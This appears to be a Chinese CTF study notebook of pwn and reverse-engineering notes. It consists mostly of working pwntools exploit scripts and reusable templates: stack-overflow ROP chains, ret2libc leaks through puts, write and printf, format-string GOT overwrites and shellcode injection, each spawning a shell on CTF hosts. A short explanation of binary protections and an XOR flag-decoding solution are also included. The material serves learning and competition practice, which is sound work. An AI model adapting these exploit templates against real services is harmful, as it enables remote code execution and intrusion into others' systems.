list1 = [get_wide_dword(addr + 4 * i) for i in range(14)]
print(list1)

addr2 = 0x435df8
list2 = [get_wide_dword(addr2 + 4 * i) for i in range(14)]
print(list2)

addr3 = 0x435e30
list3 = [get_wide_dword(addr3 + 4 * i) for i in range(14)]
print(list3)

mov混淆的ida脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import idaapi
import ida_bytes

def find_flag(start, end):
flag = ""
current = start

while current < end:
byte = ida_bytes.get_byte(current)

if ((48 <= byte <= 57) or # '0'-'9'
(65 <= byte <= 90) or # 'A'-'Z'
(97 <= byte <= 122) or # 'a'-'z'
byte in [33, 64, 35, 123, 125, 39, 42, 38, 95]): # '!', '@', '#', '{', '}', '\'', '*', '&', '_'


if (ida_bytes.get_byte(current + 1) == 0 and
ida_bytes.get_byte(current + 2) == 0 and
ida_bytes.get_byte(current + 3) == 0):
flag += chr(byte)


current += 1

return flag


start_address = 0x80487c4
end_address = 0x8060B38


flag = find_flag(start_address, end_address)
print(f"Found flag: {flag}")

两个EzJar.class文件,手工切出解压

1
2
3
4
5
6
7
8
9
10
import zlib
inflator = zlib.decompressobj(-zlib.MAX_WBITS)
f=open('"D:\\桌面\\attachment\\EzJar\\EzJar.class\\EzJar.java"','rb')
f.seek(659)
a=f.read(3248)
f.close()
x = inflator.decompress(a)
f=open('EzJar.class','wb')
f.write(x)
f.close()

IDA打开

1

  1. 没有任何可以利用的东西(如system,/bin/sh,put,write等)

  2. 就只有一个get函数,存在栈溢出。

  3. 所以我们只能自己来构造rop链
    利用ROPgadget可以直接构造

    1
    ROPgadget --binary rop --ropchain

    2

  4. 写exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    from pwn import *
    from struct import pack

    r = remote('node5.buuoj.cn', 26568)

    def payload():
    # 将初始字符串转换为 bytes
    p = b'a' * (0xc + 4)
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += b'/bin' # 字符串需要转换为 bytes
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea064) # @ .data + 4
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += b'//sh' # 字符串需要转换为 bytes
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080de769) # pop ecx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0806c943) # int 0x80
    return p

    shell = payload()
    r.sendline(shell)
    r.interactive()

    3

pwn105(栈溢出+整数安全)

  1. 打开IDA,分析一下

    1

​ 有分析可以看到v3要大于等于3小于等于8,由于int 类型所以v3得范围是0~255,256 = 0,257 = 2。

​ 所以我们的范围在258~263都可以。

  1. 所以我们的思路是利用栈溢出,将strcpy的返回地址覆盖成shellcode的地址就可以了
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    from pwn import *
    from LibcSearcher import *
    #from ctypes import c_uint

    #context(arch = "amd64",os = 'linux',log_level = 'debug')
    #context(arch = "i386",os = 'linux',log_level = 'debug')

    r = remote("pwn.challenge.ctf.show", 28207)
    #r = process('./pwn')
    elf = ELF('./pwn')


    success = 0x804870E
    length = 261
    #(0x11+4)是dest的偏移量
    payload = b'a' * (0x11+4) + p32(success)
    payload = payload.ljust(length,b'a')
    r.recvuntil("[+] Check your permissions:")
    r.sendline(payload)
    r.interactive()

pwn 学习记录

栈溢出

调用已有的system

  1. 32位的模板

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from pwn import *
    from LibcSearcher import *
    #context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0x12+4 #根据具体情况算出偏移量
    system = 0x008048521 #根据具体情况
    r.recvuntil("xxxxxx") #xxxx根据具体情况改,也可能没有
    payload1=b"a"*offset+p32(system)
    r.sendline(payload1)
    r.recv()
    r.interactive()
  2. 64为模板

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    from pwn import *
    from LibcSearcher import *
    #context.log_level = 'debug'
    context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0x14 + 0x08 #根据具体情况算出偏移量
    system = 0x0400657 #根据具体情况
    ret=0x0000000000400287
    p.recvuntil("xxxxxx") #xxxx根据具体情况改,也可能没有
    payload1=b"a"*offset+p64(ret)+p64(system)
    r.sendline(payload1)
    #r.recv()
    r.interactive()

    1
    ROPgadget --binary target_binary --only 'pop|ret'(target_binary换成你的文件)

    32位的比就要注意堆栈平衡就可以。

调用已有的system但要传参

  1. 32位模板

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    from pwn import *
    from LibcSearcher import *
    #context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0x12+4 #根据具体情况算出偏移量
    system = 0x080483A0 #根据具体情况
    binsh = 0x8048750 #根据具体情况
    r.recvuntil("xxxxxxxx") #xxxx根据具体情况改,也可能没有
    #payload=padding+p32(system)+p32(system的返回地址)+p32(system的参数)
    payload1=b"a"*offset+p32(system)+p32(0)+p32(binsh)
    r.sendline(payload1)
    #r.recv()
    r.interactive()
  2. 64位模板

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    from pwn import *
    from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0xa+8 #根据具体情况算出偏移量
    ret = 0x00000000004004fe
    rdi_ret = 0x00000000004007e3
    system = 0x0000000000400520
    binsh = 0x0000000000400808
    r.recvuntil("xxxxxxxxx") #xxxx根据具体情况改,也可能没有

    payload1=b"a"*offset+p64(ret)+p64(rdi_ret)+p64(binsh)+p64(system)
    #这里需要考虑堆栈平衡
    r.sendline(payload1)
    #r.recv()
    r.interactive()
    1
    ROPgadget --binary target_binary --only 'pop|ret'(target_binary换成你的文件)

    注意:当没有/bin/sh,可以用sh来代替它

bss段写入shellcode

  1. 32为模板(有get函数可以写入)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    from pwn import *
    from LibcSearcher import *
    #context.log_level = 'debug'
    context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0x6c+4 #根据具体情况算出偏移量
    #只要是bss段的就可以
    buf2=0x804B060
    system=0x08048450
    get=0x8048420
    pop_ebp_ret=0x0804884b
    pop_ebx_ret=0x08048409
    r.recvuntil("xxxxxx") #xxxx根据具体情况改,也可能没有
    #pop_ebp_ret可换任意值
    payload2=b"a"*offset+p32(get)+p32(pop_ebx_ret)+p32(buf2)+p32(system)+p32(pop_ebp_ret)+p32(buf2)
    r.sendline(payload2)
    r.sendline("/bin/sh")
    #r.recv()
    r.interactive()
  2. 64位模板(有get函数可以写入)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    from pwn import *
    from LibcSearcher import *
    #context.log_level = 'debug'
    context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0xa+8
    #只要是bss段的就可以
    buf2=0x0000000000602080
    rdi_ret=0x00000000004007f3
    system=0x000000000400520
    get=0x0000000000400530

    payload1=b"a"*offset+p64(rdi_ret)+p64(buf2)+p64(get)+p64(rdi_ret)+p64(buf2)+p64(system)
    r.sendline(payload1)
    r.sendline("/bin/sh")
    r.recv()
    r.interactive()

碰到一题学一题不断更新

libc泄露

这里主要记录模版和相关例题,在没有直接给system(/bin/sh)的题目,并且有put,write等函数的时候可以考虑libc泄露

puts泄露

puts(32位)

例题:ctfshow的pwn48

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *
#context(os = 'linux', arch = 'i386', log_level = 'debug')
#r = process("./pwn48") #本地
r = remote("pwn.challenge.ctf.show", 28274) #远程
elf = ELF('./pwn48')
offset = 0x6B + 0x4 #根据实际的偏移量填写
main_addr = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(payload)
puts_addr = u32(r.recvuntil('\xf7')[-4:])
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_case = puts_addr - libc.dump('puts')
system_addr = libc_case + libc.dump('system')
bin_sh = libc_case + libc.dump('str_bin_sh')
payload = offset * b'a' + p32(system_addr) + p32(0) + p32(bin_sh)
r.sendline(payload)
r.interactive()

puts(64位)

例题:ctfshow的pwn,这题write和puts都有这里只用puts,write下面有别的例题

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *
#context(os='linux', arch='amd64', log_level='debug')
#r = process("./pwn46")
r = remote("pwn.challenge.ctf.show", 28220)
elf = ELF("./pwn46")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.sym["main"]
offset = 0x70+8
rdi_ret = 0x0000000000400803
ret = 0x00000000004004fe
payload1 = b"a"*offset+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil("O.o?\n")#此题不可去
r.sendline(payload1)
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
#puts_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")
print(hex(system))
print(hex(binsh))
payload2=b"a"*offset+p64(rdi_ret)+p64(binsh)+p64(system)
r.sendline(payload2)
r.interactive()

获取rdi,ret的地址可以通过ROPgadget

1
ROPgadget --binary ./pwn46 --only "pop|ret"

write泄露

write(32位)

例题:BUUCTF的jarvisoj_level3

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *

r=remote('node5.buuoj.cn',27119)
elf=ELF('./level3')
main = elf.sym["main"]
write_plt=elf.plt['write']
write_got=elf.got['write']
offset = 0x88+4
payload=b'a'*offset+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)

r.recvuntil('Input:\n')
r.sendline(payload)
write_addr=u32(r.recv(4))
print(hex(write_addr))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
sh=libc_base+libc.dump('str_bin_sh')

payload=b'a'*offset+p32(system)+p32(main)+p32(sh)
#r.recvuntil('Input:\n')
r.sendline(payload)

r.interactive()

write(64位)

例题:BUUCTF的jarvisoj_level3_x64

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from LibcSearcher import *

#context(arch='amd64', os='linux', log_level='debug')

# 初始化目标:本地文件或远程服务
elf = ELF('./level3_x64') # 替换成你的二进制文件名
#r = process('./level3_x64') # 本地测试
r = remote('node5.buuoj.cn', 28476) # 远程连接

# 获取关键地址
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main'] # 用于重新触发漏洞(可选)

# 寻找ROP Gadgets(需根据实际二进制用ROPgadget查找)
pop_rdi = 0x04006b3 # pop rdi; ret; (示例地址,需替换)
pop_rsi_r15 = 0x4006b1 # pop rsi; pop r15; ret; (示例地址,需替换)

# 计算溢出偏移量(需通过调试确定)
offset = 0x80 + 0x08 # 替换成你的实际偏移量

# 构造泄露write@got的ROP链

payload = flat(
[b'A'] * offset, # 填充到返回地址
p64(pop_rdi),
p64(1), # fd=1(stdout)
p64(pop_rsi_r15),
p64(write_got), # 要泄露的地址(write@got)
p64(0), # 填充r15
p64(write_plt), # 调用write(1, write@got, 8)
p64(main_addr) # 返回main重新执行(可选)
)
#等同于payload = b'A' * offset + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr)
# 发送Payload
r.sendlineafter(b'Input:\n', payload) # 根据实际提示符修改

# 接收泄露的地址(注意接收长度)

write_leak = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success(f'write@libc: {hex(write_leak)}')

# 使用libcsearch查找libc版本
libc = LibcSearcher('write', write_leak)
libc_base = write_leak - libc.dump('write')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

log.info(f'libc base: {hex(libc_base)}')
log.info(f'system@libc: {hex(system_addr)}')
log.info(f'/bin/sh@libc: {hex(bin_sh_addr)}')

# 构造后续攻击Payload(示例:ret2system)
payload2 = flat(
b'A' * offset,
p64(pop_rdi),
p64(bin_sh_addr),
p64(system_addr)
)

# 发送第二个Payload
r.sendline(payload2)

# 获得shell
r.interactive()

本题的rdx已被填写所以不用考虑,并且此题也找不到rdx

1

如果有rdx的话

1
2
3
4
5
6
7
8
9
10
11
12
payload = flat(
[b'A'] * offset, # 填充到返回地址
p64(pop_rdi),
p64(1), # fd=1(stdout)
p64(pop_rsi_r15),
p64(write_got), # 要泄露的地址(write@got)
p64(0), # 填充r15
p64(pop_rdx),
p64(8), # 设置rdx为8,因为我们要读取8个字节(也不一定是8)
p64(write_plt), # 调用write(1, write@got, 8)
p64(main_addr) # 返回main重新执行(可选)
)

printf泄露(格式化字符串)

例题:ctfshow的pwn95

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')
#r = process("./pwn")
r = remote('pwn.challenge.ctf.show',28269)
elf = ELF("./pwn")
#计算出的偏移量,根据实际情况调整
offset = 6
printf_got = elf.got['printf']
payload1 = p32(printf_got) + b'%6$s'
r.send(payload1)
printf_addr = u32(r.recvuntil('\xf7')[-4:])
libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')
payload = fmtstr_payload(offset,{printf_got:system_addr})

r.send(payload)
r.send('/bin/sh')
r.interactive()

例题:axb_2019_fmt64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64')
#sh=process("./pwn")
sh=remote('node5.buuoj.cn',26272)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
puts_got=elf.got['puts']
printf_got =elf.got['printf']
main = elf.sym['main']
#payload1 = p32(puts_got)+b'%8$s'
payload1 = b'%9$saaaa'+p64(puts_got) #%9$saaaa占了一个字符所以8 -->9
sh.sendlineafter('Please tell me:',payload1)
puts_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('puts_add=>',hex(puts_addr))
libc.address = puts_addr-libc.sym['puts']
system_addr = libc.sym['system']
printf_addr = libc.sym['printf']
print('system_add=>',hex(system_addr))
print('printf_add=>',hex(printf_addr))
#这些地址只有部分不一样,那么只要覆盖这些不一样的即可了
sysaddr1=system_addr&0xff
sysaddr2=(system_addr&0xff00)>>8
sysaddr3=(system_addr&0xff0000)>>16
print('sys1=>',hex(sysaddr1))
print('sys2=>',hex(sysaddr2))
print('sys3=>',hex(sysaddr3))
#9是输出的“Repeater:”的字符数
sysaddr1_value = sysaddr1-9
result = sysaddr2-sysaddr1
sysaddr2_value=result if result>0 else result+0x100
result = sysaddr3-sysaddr2
sysaddr3_value=result if result>0 else result+0x100

#这种和32位一样的写法会被00截断,所以需要把要覆盖的地址放到payload最后面
# payload2=b'aaaa'+p64(printf_got)+p64(printf_got+1)+p64(printf_got+2)#共22个字符
# payload2+=b'%'+bytes(str(sysaddr1_value),encoding='utf-8')+b'c'+b'%9$hhn'
# payload2+=b'%'+bytes(str(sysaddr2_value),encoding='utf-8')+b'c'+b'%10$hhn'
# payload2+=b'%'+bytes(str(sysaddr3_value),encoding='utf-8')+b'c'+b'%11$hhn'

payload2=b'%'+bytes(str(sysaddr1_value),encoding='utf-8')+b'c'+b'%13$hhn'
payload2+=b'%'+bytes(str(sysaddr2_value),encoding='utf-8')+b'c'+b'%14$hhn'
payload2+=b'%'+bytes(str(sysaddr3_value),encoding='utf-8')+b'c'+b'%15$hhn'
payload2=payload2.ljust(40,b'a')
print('len=>',len(payload2))
print(payload2)
payload2+=p64(printf_got)+p64(printf_got+1)+p64(printf_got+2)


sh.sendline(payload2)
payload3 = b';/bin/sh'
sh.sendline(payload3)
sh.interactive()

newstar2025 calc_beta

参考链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v5; // [rsp+88h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
memset(s, 0, 0x80uLL);
while ( 1 )
{
switch ( (unsigned int)menu() )
{
case 1u:
show_numbers(s);
break;
case 2u:
edit_numbers(s);
break;
case 3u:
memset(s, 0, 0x80uLL);
break;
case 4u:
beta_puts("*** 浣犱笉蹇呭湪\"calc\"閲岄潰鎼滅储婕忔礊 ***");
beta_puts(&unk_401418);
calc(s);
break;
case 5u:
return 0;
default:
beta_puts("Invalid choice meow!");
break;
}
}
}
1
2
3
4
5
6
7
8
9
int __fastcall show_numbers(__int64 a1)
{
int result; // eax
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i <= 15; ++i )
result = printf("num%d = %lld\n", (unsigned int)(i + 1), *(_QWORD *)(8LL * i + a1));
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 *__fastcall edit_numbers(__int64 a1)
{
__int64 *result; // rax
__int64 v2; // rcx
unsigned int v3; // [rsp+1Ch] [rbp-4h]

beta_puts("Which number?");
v3 = getnum();
if ( v3 >= 0x11 )
return (__int64 *)beta_puts("Invalid index!");
beta_puts("Change to what?");
v2 = getnum();
result = (__int64 *)(8LL * (int)(v3 - 1) + a1);
*result = v2;
return result;
}

edit_numbers 函数 - 主要利用点

主函数中s在栈上内存与edit函数的返回地址相邻,s[0]的数据可以修改,故可以当成栈溢出构造ROP链来打。和ret2libc一样

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

context(arch='amd64',log_level='debug')
file = './calc'
elf = ELF(file)
libc = ELF("./libc.so.6")

s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
uu64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
inf = lambda s :info(f"{s} ==> 0x{eval(s):x}")

def show():
ru("5. Exit")
sl("1")
def edit(number,data):
ru("5. Exit")
sl("2")
ru("Which number?")
sl(str(number))
ru("Change to what?")
sl(str(data))

p=remote("39.106.48.123",17610)
#p=process(file)
# gdb.attach(p,"b *0x40116A")


atoll_got = elf.got['atoll']
pop_rdi=0x401253
pop_rsi_r15=0x401251

edit(1,atoll_got)
edit(2,0x400857)
edit(3,0x4006b6)
edit(4,0x40116A)
edit(0,pop_rdi)

ru("> ")
atoll_addr=u64(p.recv(6).ljust(8,b"\x00"))
print("write_addr",atoll_addr)
libcbase = atoll_addr - libc.symbols['atoll']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))

ret=0x4006b6
ru("> ")
sl("8")
ru("Change to what?")
sl(str(binsh_addr))
edit(6,binsh_addr)
edit(7,system_addr)
edit(5,pop_rdi)
edit(4,ret)
p.interactive()

  1. 直接写思路

    • 1.没有直接的/bin/sh
    • 2.没有格式化字符串

    1

​ 缓冲区溢出风险:即使n小于等于50(即dest数组的大小),因为src只是一个字符(1字节),试图读取超过1字节的数据会导致访问越

​ 界。如果n大于50,不仅会访问越界,还会写入超出dest数组范围的内存,导致缓冲区溢出。(有栈溢出可以利用)

  1. 我们可以利用栈溢出写入shellcode,不过得先,输入crashme进入vuln

    2

  2. 计算shellcode所在的位置
    先在vuln找到一个nop的地址
    3

​ 在这个地方下断点,再用gdb,先输入crashme,再查栈

1
stack 20

4

​ 可以看到输入起始位置0x22而ebp的位置在0x38

​ 远程连接可以直接得到输入的地址,但是地址会变化,偏移不会变化。
5

  1. 思路就是在ebp后写入shellcode

    我们已经知道了输入地址和ebp的距离是0x38-0x22,可以进行填充
    我们还要算出shellcode的写入位置

    6

7

所以shellcode的位置就是s的初始地址:0xffffcc0c - 0xffffcbf0(0x5c-0x40 = 0x1c)

给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *

#r = remote('node5.buuoj.cn', 29139) # 连接到远程服务器
r = process("./ez_pz_hackover_2016")
shellcode = asm(shellcraft.sh()) # 生成shellcode
r.recvuntil("crash: ") # 接收直到"crash: "
addr = int(r.recv(10), 16) # 接收10个字节并转换为十六进制地址
# 8是crashme\x00(8个字节);4是ret(4个字节)
payload = b'crashme\x00'+b'a' * (0x38 - 0x22 - 8 +4) + p32(addr - 0x1c) + shellcode # 构造payload
r.sendline(payload)

r.interactive() # 进入交互模式
  1. 8

无法F5的题目

  1. 只能先用IDA打开,看汇编
    1

  2. 分析一下

    2

3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>

unsigned char byte_41EA08[] = { /* ... 需要填充实际值 ... */ };

int main(int argc, const char **argv, const char **envp) {
char inputBuffer[100]; // 0x64 (100 in decimal)

printf("Give Me Your Flag String:\n");
scanf("%s", inputBuffer);

int length = strlen(inputBuffer);
if(length != 0x27 /* 39 in decimal */) {
printf("Wrong!\n");
system("pause");
return -1; // 或者其它错误处理
}

for(int i = 0; i < length; ++i) {
if((inputBuffer[i] ^ i) != byte_41EA08[i]) {
printf("Wrong!\n");
system("pause");
return -1;
}
}

printf("Right!\n");
system("pause");

return 0;
}

大概就是上面编码的意思

  1. 编写脚本解题
    找到byte_41EA08
    4

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    int main(){
    char ida_chars[] =
    {
    0x4D, 0x53, 0x41, 0x57, 0x42, 0x7E, 0x46, 0x58, 0x5A, 0x3A,
    0x4A, 0x3A, 0x60, 0x74, 0x51, 0x4A, 0x22, 0x4E, 0x40, 0x20,
    0x62, 0x70, 0x64, 0x64, 0x7D, 0x38, 0x67, 0x00
    };
    char flag[strlen(ida_chars)];
    int i;
    for(i=0;i<strlen(ida_chars);i++){
    flag[i] = ida_chars[i] ^ i;
    }
    printf("flag:%s",flag);
    }
1
MRCTF{@_R3@1ly_E2_R3verse!}

一、二进制保护一共五种

1

ASLR

ASLR:地址空间随机化,proc/sys/kermel/randomize_va_space里的值可以控制系统级的ASLR,使用root权限可以进行修改,有三个值可以设置,具体说明如下。

  • 0:关闭 ASLR。
  • 1:mmap base、stack、vdsopage将随机化。这意味着“.so”文件将被加载到随机地址。链接时指定了-pie选项的可执行程序,其代码段加载地址将被随机化。配置内核时如果指定了CONFIG_COMPAT_BRK,则randomize_va_space 默认为1,此时 heap 没有随机化。
  • 2:在1的基础上增加了heap随机化。配置内核时如果禁用CONFIG_COMPAT_BRK,则randomize_va_space默认为2。ASLR 可以保证在每次程序加载的时候自身和所加载的库文件都会被映射到虚拟地址空间的不同地址处。

RELRO

RELRO: 重定位,一般会分为两种情况,即partial relro和full relro,具体区别就是前者重定位信息(如got表)可写,而后者不可写。

Stack

Stack:栈溢出保护,gcc编译程序默认开启,添加编译选项-fno-stack-protector会关闭程序的 stack canary 栈保护。

NX

NX:数据执行保护,即DEP(Data Execution Prevention),是指禁止程序在非可执行的内存区(non-executable memory)中执行指令。在80x86体系结构中,操作系统的内存管理是通过页面表(pege table)存储方式来实现的,其最后一位就是NX位,0表示允许执行代码,1表示禁止换行代码。一般来说,NX主要是防止直接在栈(stack)和堆(heap)上运行shellcode 代码。 gcc默认开启不可执行栈功能,添加编译选项-zexecstack即可开启栈可执行功能。

PIE

PIE:代码段随机化,具体见ASLR。

整数溢出的题型记录一下

  1. 打开IDA,发现有一个新定义的get函数
    1

​ 整数溢出可以用 -1 进行绕过

  1. 在IDA中没有找到shell所以只能通过libc泄露(有printf)

  2. 可以开始写exp了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    from pwn import *
    from LibcSearcher import *
    #r = process('./pwn2_sctf_2016')
    r=remote('node5.buuoj.cn',29975)
    elf=ELF('./pwn2_sctf_2016')
    offset = (0x2c+4)
    printf_plt=elf.plt['printf']
    printf_got=elf.got['printf']
    main=elf.sym['main']

    r.recvuntil('How many bytes do you want me to read? ')
    r.sendline('-1')
    r.recvuntil('\n')
    payload=b'a'*offset+p32(printf_plt)+p32(main)+p32(printf_got)
    r.sendline(payload)
    r.recvuntil('\n')
    printf_addr=u32(r.recv(4))
    print(hex(printf_addr))
    libc=LibcSearcher('printf',printf_addr)

    libc_base=printf_addr-libc.dump('printf')
    system=libc_base+libc.dump('system')
    bin_sh=libc_base+libc.dump('str_bin_sh')

    r.recvuntil('How many bytes do you want me to read? ')
    r.sendline('-1')
    r.recvuntil('\n')
    payload=b'a'*offset+p32(system)+p32(main)+p32(bin_sh)
    r.sendline(payload)

    r.interactive()